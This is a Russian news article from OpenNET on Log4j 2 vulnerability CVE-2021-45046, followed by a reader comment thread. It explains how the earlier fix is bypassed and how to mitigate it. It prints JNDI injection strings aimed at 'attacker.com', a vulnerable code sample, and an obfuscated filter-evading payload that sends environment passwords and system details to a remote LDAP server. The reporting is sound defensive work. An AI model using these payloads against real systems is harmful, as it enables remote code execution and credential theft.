The OpenNET Project / Index page

[ новости /+++ | форум | wiki | теги | ]

Новый вариант атаки на Log4j 2, позволяющий обойти добавленную защиту

15.12.2021 08:32

В реализации подстановок JNDI в библиотеке Log4j 2 выявлена ещё одна уязвимость (CVE-2021-45046), проявляющаяся несмотря на добавленные в выпуск 2.15 исправления и независимо от использования настройки "log4j2.noFormatMsgLookup" для защиты. Проблема представляет опасность в основном для старых версий Log4j 2, защищённых при помощи флага "noFormatMsgLookup", так как даёт возможность обойти защиту от прошлой узявимости (Log4Shell, CVE-2021-44228), позволяющей выполнить свой код на сервере. Для пользователей версии 2.15 эксплуатация ограничивается созданием условий для аварийного завершения приложения из-за исчерпания доступных ресурсов.

Уязвимость проявляется только на системах, в которых при журналировании используются контекстные запросы (Context Lookup), такие как ${ctx:loginId}, или MDC-шаблоны (Thread Context Map), например, %X, %mdc и %MDC. Эксплуатация сводится к созданию условий для вывода в лог данных, содержащих подстановки JNDI, при использовании в приложении контекстных запросов или MDC-шаблонов, определяющих правила форматирования вывода в лог.

Исследователи из компании LunaSec отметили, что для версий Log4j меньше 2.15 данная уязвимость может использоваться как новый вектор для атаки Log4Shell, приводящей к выполнению кода, если при выводе в лог используются выражения ThreadContext, в которые попадают внешние данные, независимо от включения для защиты флага "noMsgFormatLookups" или шаблона "%m{nolookups}".

Обход защиты сводится к тому, что вместо прямой подстановки "${jndi:ldap://attacker.com/a}", данное выражение подставляется через значение промежуточной переменной, используемой в правилах форматирования вывода в лог. Например, если при выводе в лог используется контекстный запрос ${ctx:apiversion}, то атака может быть проведена через подстановку данных "${jndi:ldap://attacker.com/a}" в значение, записываемое в переменную apiversion. Пример уязвимого кода:


   appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n

   @GetMapping("/")
   public String index(@RequestHeader("X-Api-Version") String apiVersion) {

       // Значение HTTP-заголовка "X-Api-Version" передаётся в  ThreadContext
       ThreadContext.put("apiversion", apiVersion);

       // При выводе в лог внешнее значение apiversion будет обработано при помощи подстановки ${ctx:apiversion}
       logger.info("Received a request for API version");
       return "Hello, world!";
   }

В версии Log4j 2.15 уязвимость может использоваться для совершения DoS-атак при передаче в ThreadContext значений, приводящих к зацикливанию обработки шаблона форматирования вывода.

Для блокирования уязвимости опубликованы обновления 2.16 и 2.12.2. В ветке Log4j 2.16, помимо реализованных в версии 2.15 исправлений и привязки JNDI LDAP-запросов к "localhost", по умолчанию полностью отключена функциональность JNDI и удалена поддержка шаблонов подстановки сообщений. В качестве обходного пути защиты предложено удалить класс JndiLookup из classpath (например, "zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class").

Проследить за появлением исправлений в пакетах можно на страницах дистрибутивов (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) и производителей затронутых уязвимостью Java-приложений (GitHub, Docker, Oracle, vmWare, Broadcom и Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, Intel, NATS, Trend Micro, Aruba Networks, Microsoft, Siemens, Rockwell и т.д.).

Дополнения:

  • Для Nginx на базе модуля njs подготовлен скрипт, блокирующий передачу JNDI-выражений в HTTP-заголовках, URI и теле POST-запросов. Скрипт можно использовать на фронтэнд-серверах для защиты бэкендов.
  • Для HAProxy представлены правила конфигурации, позволяющие заблокировать эксплуатацию CVE-2021-44228.
  • Помимо ранее выявленных атак, нацеленных на формирование ботнета для майнинга криптовалюты, зафиксированы факты эксплуатации уязвимости в Log4j 2 для распространения вредоносных шифровальщиков, шифрующих содержимое дисков и требующих выкуп за расшифровку.
  • Компания Checkpoint выявила около 60 разных вариантов эксплоитов, используемых для атак.
  • Компания CloudFlare сообщила, что попытки тестирования проявления уязвимости в Log4j выявлены 1 декабря, т.е. за 8 дней до публичного раскрытия сведений о проблеме. Первые попытки эксплуатации уязвимости зафиксированы всего через 9 минут после раскрытия информации. В отчёте CloudFlare также упоминается использование подстановок, подобных "${env:FOO:-j}ndi:${lower:L}da${lower:P}", для обхода блокировок по маске "jndi:ldap", а также применение атакующими выражения ${env} для передачи на внешний сервер сведений о паролях и ключах доступа, хранимых в переменных окружения, и выражения ${sys} для сбора информации о системе.
    
    ${${env:FOO:-j}ndi:${lower:L}da${lower:P}://x.x.x.x:1389/FUZZ.HEADER.${docker:
    imageName}.${sys:user.home}.${sys:user.name}.${sys:java.vm.version}.${k8s:cont
    ainerName}.${spring:spring.application.name}.${env:HOSTNAME}.${env:HOST}.${ctx
    :loginId}.${ctx:hostName}.${env:PASSWORD}.${env:MYSQL_PASSWORD}.${env:POSTGRES
    _PASSWORD}.${main:0}.${main:1}.${main:2}.${main:3}}
    
    
  • Благодаря использованию в цепочке зависимостей Log4j, уязвимости оказались подвержены 35863 Java-пакетов, что составляет 8% от всех пакетов в репозитории Maven Central. Интересно, что напрямую Log4j используется в качестве зависимости в уязвимых пакетах только в 17% случаях, а в 83% привязка осуществляется через зависимости 2 и более высокого уровня.


  1. Главная ссылка к новости (https://www.openwall.com/lists...)
  2. OpenNews: 17 проектов Apache оказались затронуты уязвимостью в Log4j 2
  3. OpenNews: Критическая уязвимость в Apache Log4j 2, затрагивающая многие Java-проекты
  4. OpenNews: Критическая уязвимость в Apache Struts
  5. OpenNews: Уязвимость в Apache Struts стала причиной утечки персональных данных 143 млн американцев
  6. OpenNews: Атаковавшие SolarWinds смогли получить доступ к коду Microsoft
Лицензия: CC-BY
Тип: Проблемы безопасности
Короткая ссылка: https://opennet.ru/56347-log4j
Ключевые слова: log4j, java
При перепечатке указание ссылки на opennet.ru обязательно


Обсуждение (103) Ajax | 1 уровень | Линейный | +/- | Раскрыть всё | RSS
  • 1.1, Аноним (1), 10:33, 15/12/2021 Скрыто модератором [﹢﹢﹢] [ · · · ]
  • –2 +/
     
  • 1.2, InuYasha (??), 10:33, 15/12/2021 Скрыто модератором [﹢﹢﹢] [ · · · ]
  • +/
     
     
  • 2.13, Аноним (13), 11:07, 15/12/2021 Скрыто модератором
  • +1 +/
     

  • 1.3, DEF (?), 10:35, 15/12/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +16 +/
    Это какой-то позор?
     
     
  • 2.4, Аноним (1), 10:36, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +5 +/
    ну это каждый местный эксперт сам решает
     
  • 2.5, Аноним (5), 10:40, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • –7 +/
    > Initial release January 8, 2001; 20 years ago

    Диды по-другому не могли, постоянно выдумывали какие-то "прикольные штуки" типа например IP-адреса, в котором вместо десятичных чисел какие-то другие. Вот и тут диды решили добавить "фичу".

     
     
  • 3.25, Аноним (25), 11:33, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +14 +/
    > Диды по-другому не могли, постоянно выдумывали какие-то "прикольные штуки" типа...

    Диды писали и пушут на Си.
    А джаверы - это растоманы v1.0, как и те, которые придумали IPv6.
    Диды уже в те времена смотрели на них искоса.

     
     
  • 4.34, Аноним (5), 12:10, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • –11 +/
    > Диды писали и пушут на Си.

    Ой ли? Традиционным языком дидов является пердл со страшными writeonly-регекспами. Вот и в этой cve чувствуется любовь дидов к прикольным)))) магическим))) строкам.

     
     
  • 5.51, Аноним (51), 13:00, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +7 +/
    Ларри слабал perl в 1987 году
    И Ларри, к сведению, лингвист. Делал для себя костылик, для применения в конкретном месте.
     
     
  • 6.57, Урри (ok), 13:24, 15/12/2021 Скрыто модератором
  • +2 +/
     
  • 5.84, Аноним (25), 15:58, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +2 +/
    > Ой ли? Традиционным языком дидов является пердл со страшными writeonly-регекспами.

    Я сам из дидов, но в пердл толком даже не умею. В скриптовых языках мне вообще всегда REXX больше всего нравился. Но сейчас уже мало дидов осталось, которые умеют в REXX.

     
     
  • 6.88, Crazy Alex (ok), 17:22, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +4 +/
    Ну я вот в перл умею И он не страшнее остального, что создавалось в его время ... большой текст свёрнут, показать
     
     
  • 7.97, ms is piace of s (?), 20:18, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +/
    /bin/bash находится одесную Отца. Не богохульствуй.
     
     
  • 8.112, ммнюмнюмус (?), 12:04, 16/12/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Ошибка 1, 20 ожидалось предлог местоположения и направление после находится ... текст свёрнут, показать
     
  • 7.118, keydon (ok), 18:50, 17/12/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Тоже скучаю, для скриптов удобнее питона, гораздо более читаемо чем баш, довольно лаконичен и не особо прожорлив.
     
  • 4.52, Аноним (51), 13:04, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    >> Диды уже в те времена смотрели на них искоса.

    Целевая аудитория java была - "для кого С++ слишком сложно". Можно сканы журналов ещё найти с оракловым маркетингом.

    Смотрели на них, как на убогих

     
     
  • 5.62, АнонимГоним (?), 13:50, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +4 +/
    >Можно сканы журналов ещё найти с оракловым маркетингом.

    Sun же, или уже забыли.

     
     
  • 6.74, YetAnotherOnanym (ok), 14:56, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Ооо, даааа... Сам читал интервью с МакНили, которое кто-то вывесил на доске объявлений нашего мехмата, ещё в девяносто-хрен-знает-каком году. Прямо такие дифирамбы жабе пел, что куды ж там.
     
  • 6.108, Аноним (51), 22:53, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +/
    >> Sun же, или уже забыли.

    Ох ты ж... Да, слиплись в памяти в одно.

     
     
  • 7.114, Аноним (114), 17:54, 16/12/2021 [^] [^^] [^^^] [ответить]  
  • +2 +/
    > java

    просто памяти не хватило

     
  • 5.64, примерно_36_скотинок (ok), 13:59, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +2 +/
    прямо как сейчас растаманы.
     
  • 5.75, Аноним (1), 14:59, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • –3 +/
    > Целевая аудитория java была - "для кого С++ слишком сложно"

    Эм, и что в нём сложного? ЯП ВУ же. Под вопросом только читабельность кода из под клавиатуры особых "умельцев", это лично меня от него отталкивало всегда.

     
     
  • 6.94, DeadMustdie (??), 19:30, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +2 +/
    > Эм, и что в нём сложного?

    Метапрограммирование в целом и шаблоны в частности.
    Множественное наследование классов.
    Переопределение операторов, особенно в связке с шаблонами.

    Все перечисленные выше инструменты крайне полезны, но притом довольно сложны в нетривиальных случаях.

     
  • 5.99, ms is piece of s (?), 20:26, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Один известный персонаж с усиками тоже имел привычку смотреть на некоторых как на убогих.
    Тут дело не в ЯП, а в том, что "соль земли" отказывает себе в психологической помощи со стороны специалистов.
     
  • 4.123, Аноним (-), 12:01, 23/12/2021 [^] [^^] [^^^] [ответить]  
  • +/
    > Диды писали и пушут на Си.

    От которых жабисты и научились в format vuln. Догнали и перегнали, акселерация.

     
  • 3.26, Mike Lee (?), 11:47, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +4 +/
    Э нет, в log4j 1.x этого не было.
     
  • 3.66, Аноним (66), 14:08, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +5 +/
    Благодаря такому формату IP до сих пор нет Великого Российского Фаервола, потому что Шигорин так и не смог объяснить ФСБшникам что такое IP адрес. Деды знали что делали.
     
     
  • 4.89, X86 (ok), 17:53, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Зато есть великий американский файрволл, и вот что с ним делать не знает никто.
     
     
  • 5.124, Аноним (-), 12:02, 23/12/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Тут несколько опечаток в слове "китайский".
     
  • 2.90, Kuromi (ok), 18:20, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Не, просто починили не коренную проблему, а залатали именно ту дырку на которую указали белые шапки. То что рядом еще россыпь и небольшая корректировка атаки позволяет снова бить в туже коренную уязвимость - "пожли пдечами".
     

  • 1.7, Аноним (7), 10:43, 15/12/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • –20 +/
    Надоели!!!! Log4j2 как сам, так и опасный контекст из vulnerability issue, использует полтора программиста на этой планете. Крики такие, как будто это реальная проблема. Похоже на откровенную попытку слива Java как технологии.
     
     
  • 2.9, Аноним (9), 10:55, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +8 +/
    Как соотносится "использует полтора программиста" и подтверждённое проявление уязвимости в продуктах GitHub, Docker, Oracle, vmWare, Broadcom и Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, Intel, NATS, Trend Micro, Aruba Networks, Microsoft, Siemens и Rockwell?

    Это одна из самых опасных уязвимостей за последние лет 5, из-за того, что затрагивает кучу банковского, телекоммуникационного, корпоративного и промышленного софта. И это только начало, дальше можно ждать волну supply chain атак после взлома инфраструктур производителей.

     
     
  • 3.11, Аноним (7), 11:01, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • –3 +/
    > Как соотносится "использует полтора программиста" и подтверждённое проявление уязвимости в продуктах GitHub, Docker, Oracle, vmWare, Broadcom и Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, Intel, NATS, Trend Micro, Aruba Networks, Microsoft, Siemens и Rockwell?

    Фактом наличия в зависимостях проектов. То есть, никак, по факту.

     
     
  • 4.12, полураспад (?), 11:05, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    в нормальном коде не выводятся параметры приходящие от пользователя в лог, плюс это проверка давно существует в анализаторах безопастности, они показывают где параметры из запросов логируются в лог
     
     
  • 5.14, Аноним (13), 11:11, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +4 +/
    Выходит "нормальный" по вашим представлениям код в корпоративной среде не встречается. Плюс на практике было показано как уязвимость работала в системах Amazon, Microsoft и многих других. У них "анализаторы безопасности" тоже какие-то неправильные?
    К чему в таком случае вся эта ремарка?
     
     
  • 6.93, Аноньимъ (ok), 18:43, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +/
    >Выходит "нормальный" по вашим представлениям код в корпоративной среде не встречается.

    А ведь он прав.

     
  • 5.18, Аноним (18), 11:20, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Скажите это тем, кто пишет в лог значение User Agent, X-Forward-For и прочих заголовков. В логи такое пишут повсеместно.
     
  • 5.28, Фняк (?), 11:55, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +4 +/
    Это почему? Вот вызвали функцию с какими-то параметрами. Функция проверила параметры и какие-то из них не валидны. Перед тем как вернуть соответствующий код возврата она пишет в лог сообщение о том что вот не получилось выполнить работу потому во то условие не выполняется при вот этих входных параметрах. Пишет это она для админа на случай если к нему придут с вопросами «а почему не работает?» функция сама по себе понятия не имеет откуда переданные параметры взялись, от пользователя или ещё откуда
     
  • 5.30, пох. (?), 11:58, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +8 +/
    точно, нормальный код логает в лог только ok и error. Предоставляя гадать, что именно было ok и чего error.

    Дайте угадаю - вы разработчик на модном языке?

     
  • 5.76, quantic (?), 15:06, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Проблема не в том что значения от пользователя выводятся в лог, проблема в том что log4j их не фильтрует. Это их факап.
     
  • 5.100, john_erohin (?), 20:28, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +/
    > в нормальном коде не выводятся параметры приходящие от пользователя в лог,

    врать не надо. навскидку:
    apache выводит referer и user-agent (оба от пользователя) в combined log.
    bind выводит попытки рекурсии от обнаглевших "сканеров безопастности" в лог.
    что, у них ненормальный код ?

     
  • 5.102, Аноним (102), 20:45, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Только эксперты с opennet знают как правильно писать код. Жаль что почему-то не пишут
     
  • 4.20, Аноним (18), 11:22, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Это компании которые _сами_ подтвердили проявление уязвимости Log4j в своих продуктах. Логи с отражением User Agent по умолчанию ведут почти все корпоративные системы.
     
     
  • 5.31, Аноним (-), 11:58, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +2 +/
    1) Далеко не все делают бесконтрольную подстановку данных, принятых от пользователя, непосредственно в ".. {}.." лога.
    2) Не самый распространённый случай использования JNDI внутри организации.
    3) Неплохо бы иметь доступ к ресурсам JNDI из сети, где расположен сервис.

    А теперь вопрос - скольких компаний  это реально касается до такой степени, чтобы кричать "ужас-ужас"?

     
     
  • 6.40, Аноним (40), 12:36, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +3 +/
    > не все делают бесконтрольную подстановку данных, принятых от пользователя, непосредственно в ".. {}.." лога.

    А как надо правильно логировать http запрос от пользователя?

     
     
  • 7.42, Аноним (7), 12:45, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Любым способом, не подразумевающим подстановку поля, полученного от пользователя в конструкцию "{}". Вроде не сложно такой подобрать

    PS: если руководствоваться здравым смыслом при написании программы, то случаев, когда значения HTTP-заголовков подставляются в log4j непосредственно, не так уж и много. И вообще, не приходит в голову, когда это может понадобиться.

     
     
  • 8.48, Урри (ok), 12:56, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +/
    А если уже в полученном от пользователя поле ... текст свёрнут, показать
     
     
  • 9.53, Аноним (-), 13:05, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • –1 +/
    msg replace , Ну, или, не используйте log4j2 ... текст свёрнут, показать
     
     
  • 10.54, Аноним (54), 13:17, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Вы лучше не используйте replace Ибо 7B... текст свёрнут, показать
     
     
  • 11.70, Аноним (7), 14:38, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +/
    7B тоже log4j2 интерпретирует ... текст свёрнут, показать
     
  • 10.110, Онаним (?), 09:10, 16/12/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Вот, самое правильное предложение Тянуть в рот васянские поделки - зло Тем бол... текст свёрнут, показать
     
  • 8.65, примерно_36_скотинок (ok), 14:02, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +/
    утверждая, что их дерьмо надо было покрыть глазурью, посахарить и вот-тогда-то п... текст свёрнут, показать
     
  • 8.73, Аноним (40), 14:51, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Если я подставлю допустим объект, содержащий тело и мапу заголовков - это нормал... текст свёрнут, показать
     
     
  • 9.92, Аноним (7), 18:33, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Пример из оригинала - https www lunasec io docs blog log4j-zero-day example-v... текст свёрнут, показать
     
  • 7.77, YetAnotherOnanym (ok), 15:07, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +/
    > А как надо правильно логировать http запрос от пользователя?

    Дословно, с предварительным обеззараживанием, обесклычиванием, убеганием и прочими аналогичными процедурами.

     
     
  • 8.105, Аноним (102), 21:39, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Подскажите, как правильно обезораживать и обесклычивать в java ... текст свёрнут, показать
     
     
  • 9.113, YetAnotherOnanym (ok), 15:43, 16/12/2021 [^] [^^] [^^^] [ответить]  
  • +/
    С этим обращайтесь на стаковерфлоу ... текст свёрнут, показать
     
     
  • 10.122, Аноним (102), 10:07, 19/12/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Что же ты пишешь что нужно обесклычивать если сам не знаешь как это делать ... текст свёрнут, показать
     
  • 6.60, Аноним (60), 13:40, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Достаточно любой подстановки внешних данных в лог, не важно как они переданы через подстановку или голой строкой. Главная проблема в этой узявимости, что Log4j сам разберёт "${..}" в выводимой строке, никаких особых подстановок для этого делать не нужно. Т.е.  написал в коде "logger.info(extvar);" и можно хакнуть, если есть возможность переть в  extvar что-то типа "${jndi:ldap://attacker.com/a}" или "${env:FOO:-j}ndi:${lower:L}da${lower:P}", как в примере в новости.
     
     
  • 7.72, Аноним (7), 14:46, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Как хорошо, что ничего кроме slf4j/logback у нас не используется....
     
  • 3.29, пох. (?), 11:56, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +4 +/
    Причем жопа в том что это как раз то о чем многажды говорили большевики - пытаясь заставить формошлепов использовать библиотеки операционной системы, а не намертво слинковать прожект с кучей мусора со всего интернета, непременнейше - наираспоследней версии на момент линковки.

    Но это немодно, немолодежно и в модных-современных язычках вообще неосуществимо.

    Поэтому в отличие от вполне тоже опасных и реальных уязвимостей в той же openssl - нельзя исправить большую часть проблем банально обновив "открытую" библиотеку. Будем сидеть и ждать пока орацле, броацом и амазоны с жуниперами разродятся - по каждому из миллиона своих подeлий отдельно.

     
     
  • 4.69, макпыф (ok), 14:21, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    просто системные либы могут быть разные. А модно молодежным програмистам хочется подключить 100500 либ, а вот поддерживать это все - нет. Потому просто бандлят единственно верную версию и статически/странным образом прибивают гвоздями. Обновляется это все конечно только в случае пинка под зад.

    Потому мне приходится 100500 часов компилить забандленные в пакет либы (причем многолетней выдержки), когда я пару часов назад уже скомпилил их (причем актуальной версии). Можно конечно пытаться патчить все это дерьмо, на так как все заточенно под единственно верную версию - может быть очень много геморроя.

    Итого: все это дерьмо с "релизами" где обновленна какая нибудь nss/log4j и многочасовая компиляция ни пойми чего.

     

  • 1.10, Аноним (10), 11:01, 15/12/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +8 +/
    У уязвимости есть уже подходящее имя? Предлагаю Log4jopa.
     
     
  • 2.16, Аноним (16), 11:15, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Log4calypse же
     
  • 2.23, Анимус (?), 11:30, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +/
    log4jShell
     
  • 2.56, Аноним (56), 13:20, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +4 +/
    Log4uckup
     
  • 2.58, Омномном2 (?), 13:25, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Смотреть бесплатно и без регистрации:

    Amateurs Log4Codeshot compilation

     

  • 1.15, Аноним (16), 11:13, 15/12/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • –8 +/
    Где же тысячи глаз попенсорса??? которые должны находить каждую уазвимость за наносек после коммита???
     
     
  • 2.17, eugener (ok), 11:19, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +11 +/
    Ну так вот и нашли.
     
     
  • 3.19, Аноним (16), 11:21, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    *находить и не пущать в релиз
     
     
  • 4.21, тысячегласс (?), 11:22, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Э, а вот так мы не договаривались!
     
  • 4.22, eugener (ok), 11:22, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +3 +/
    Тогда это считалось фичей. Круто же, лукапить строчки из лога. А эти хакеры всё опошлили.
     
     
  • 5.49, Урри (ok), 12:58, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Старая история про солонки, да.
     
  • 4.33, Аноним (33), 12:09, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Про релиз договора не было. Было только про то что нашли.  
     
  • 3.96, DeadMustdie (??), 19:38, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +/
    > Ну так вот и нашли.

    Вроде нашёл инженер из Алибабы, в процессе сопровождения внутренностей алибабовских сервисов.
    Ни разу не энтузиаст-бессребреник.

     

  • 1.35, Анатолий (??), 12:17, 15/12/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +3 +/
    Простое решение уязвимости в любой версии - отказ от JNDI.

    в библиотеке log4j-core-x.x.x.jar
    удалить класс
    /org/apache/logging/log4j/core/lookup/JndiLookup.class

    и тогда конструкция ${jndi:...} просто не обрабатывается

     
     
  • 2.36, Аноним (5), 12:21, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +6 +/
    ща погодь, я на продакшоне сразу. Скинь плз на почту этот jar с удаленным классом, тимлид над душой стоит, целый банк уязвим как-никак
     
     
  • 3.43, Анатолий (??), 12:46, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +4 +/
    у меня старый log4j версии 2.4
    переход на 2.15.0 выл связан с несколькими несовместимости (используется runtime настройка логгеров)
    Сделал log4j-core-2.4.2.jar залил в свой бинарный репозиторий (закрытый) и подключил его.

    С любым log4j-core-х.х.х.jar можно проделать то же самое

    еще раз расширенно: в библиотеке уделить класс
    /org/apache/logging/log4j/core/lookup/JndiLookup.class

    при загрузке системы инициализация библиотеки не найдет этот класс в выдаст в лог предупреждение:
    JNDI lookup class is not available because this JRE does not support JNDI. JNDI string lookups will not be available, continuing configuration.

    При этом все будет работать, но уязвимости не будет за неимением класса, в котором и была уязвимость

     
  • 3.104, ms is piece of s (?), 20:57, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +5 +/
    На, лови: log4j-core-2.4.2.jar.exe
    Короче, это пофикшеный логфорджи, плюс он автоматически ищет другие либы логфорджи во всех каталогах ос и тоже их фиксит от уязвимости.
    Отправь пожалуйста всем своим знакомым, скорее всего у них тоже где-нибудь да есть уязвимая версия.
     
     
  • 4.117, тигар.логиниться.лень (?), 11:58, 17/12/2021 [^] [^^] [^^^] [ответить]  
  • +/
    срочно переделай. распространять нужно  в виде даунлоадера правильной, патченной, JARки. Этим ты сможешь обеспечить страдальцам-рукозадам всегда свежую, правильную, версию.
     

  • 1.44, Аноним12345 (?), 12:48, 15/12/2021 Скрыто модератором [﹢﹢﹢] [ · · · ]
  • –3 +/
     
     
  • 2.45, Аноним (-), 12:51, 15/12/2021 Скрыто модератором
  • +1 +/
     
     
  • 3.63, Аноним (54), 13:58, 15/12/2021 Скрыто модератором
  • –1 +/
     
     
  • 4.71, Аноним (7), 14:40, 15/12/2021 Скрыто модератором
  • +1 +/
     
  • 4.82, Аноним (82), 15:29, 15/12/2021 Скрыто модератором
  • +/
     
  • 3.101, Аноним (101), 20:38, 15/12/2021 Скрыто модератором
  • +/
     
  • 2.50, Урри (ok), 12:58, 15/12/2021 Скрыто модератором
  • +2 +/
     

     ....ответы скрыты модератором (6)

  • 1.67, Аноним (67), 14:19, 15/12/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    А ведь Java безопасно работает с памятью, а всё равно дыра как такое может быть?
     
     
  • 2.79, cheater (?), 15:14, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +6 +/
    При чем здесь память, это ошибка поведения - eval произвольных данных.
     
     
  • 3.81, Аноним (82), 15:28, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +3 +/
    > ошибка поведения

    И это - будущее раста.

     
     
  • 4.87, Аноним (87), 17:07, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • –2 +/
    > И это - будущее раста.

    Это прошлое раста. В C++ этой проблемы уже давным давно нет.

     
     
  • 5.106, Аноним (87), 21:44, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • –2 +/
    Более того добавлю. В С++ все эти проблемы которые вы тут вешаете на С были решены настолько давно, что про раст никто даже не думал. Так что забейте. Читайте книжки по C++ и будьте счастливы, удивитесь тому что всех этих проблем в C++ давным давно нет.
     
     
  • 6.116, _ (??), 19:41, 16/12/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Ну да - если плюсы не юзать - плюсопроблем и нет ... Л-логика :)
    Для дюбого Ёзыга подходит. А они все - ***но, потому как нет нет большой красной кноки "Сделать ЗБС!" ни в одном :(
    :-D
     
  • 2.83, gogo (?), 15:46, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Этого не может быть.
    Это заговор, как китайский короновирус.
     
  • 2.103, ms is piece of s (?), 20:50, 15/12/2021 [^] [^^] [^^^] [ответить]  
  • +/
    А ведь люди сперва распарсевают смысл написанного, а всё равно задают глупые вопросы как такое может быть?
     
     
  • 3.109, Аноним (109), 06:39, 16/12/2021 [^] [^^] [^^^] [ответить]  
  • +/
    > люди сперва распарсевают смысл написанного

    Да ладно тебе. Ну кто таким заниматься будет?

     

  • 1.98, Онаним (?), 20:23, 15/12/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +7 +/
    Ну всё, сейчас будут вместо того, чтобы eval убрать, городить кучу валидаций, и в итоге эти валидации всё равно будут обходить.
     
     
  • 2.120, Аноним (82), 02:56, 18/12/2021 [^] [^^] [^^^] [ответить]  
  • +/
    В любой валидации будет дыра, ведь код пишут прогосеки с растаманоподобными мозгами.
     
     
  • 3.121, Онаним (?), 19:00, 18/12/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Это называется "за смузи проeval'и зияющую дырину".
     

  • 1.107, anonymous (??), 22:48, 15/12/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +3 +/
    А ведь это даже не сишечка с переполнением буфера. А вполне кошерный менеджмент памяти со сборкой мусора. Может дело не в них?
     
     
  • 2.111, Онаним (?), 09:12, 16/12/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Да как обычно, дело не в бобине...
     
     
  • 3.115, _ (??), 19:39, 16/12/2021 [^] [^^] [^^^] [ответить]  
  • +/
